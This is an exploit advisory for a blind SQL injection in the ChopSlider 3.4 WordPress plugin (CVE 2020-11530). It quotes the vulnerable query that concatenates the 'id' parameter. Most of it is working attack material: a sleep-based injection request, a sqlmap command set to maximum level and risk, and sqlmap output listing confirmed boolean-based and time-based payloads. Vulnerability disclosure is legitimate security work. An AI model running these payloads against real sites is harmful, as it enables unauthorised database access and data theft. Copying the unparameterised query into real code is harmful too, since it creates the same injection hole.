WordPress Plugin ChopSlider 3.4 - 'id' SQL Injection

# Exploit Title: ChopSlider3 Wordpress Plugin3.4 - 'id' SQL Injection
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Google Dork: N/A
# Date: 2020-05 -12
# Vendor Homepage: https://idangero.us/
# Software Link: https://github.com/idangerous/Plugins
# Version: <= 3.4
# Tested on: Ubuntu 18.04
# CVE: 2020-11530

Description:
A blind SQL injection vulnerability is present in Chop Slider 3
'/wp-content/plugins/chopslider/get_script/index.php':
$cs_result = $wpdb->get_row('SELECT * FROM ' . CHOPSLIDER_TABLE_NAME . '
WHERE chopslider_id =' . $id);

PoC:
Blind SQL injection:
GET /wp-content/plugins/chopslider/get_script/index.php?id=1111111 or
(SELECT sleep(10))=6868
SQLMap using:
sqlmap -u '
http://localhost/wp-content/plugins/chopslider/get_script/index.php?id=1111111111'
--level=5 --risk=3
sqlmap identified the following injection point(s) with a total of 17611
HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: id=-3097 OR 2236=2236

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: id=1111111111 OR SLEEP(5)
---
[08:55:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12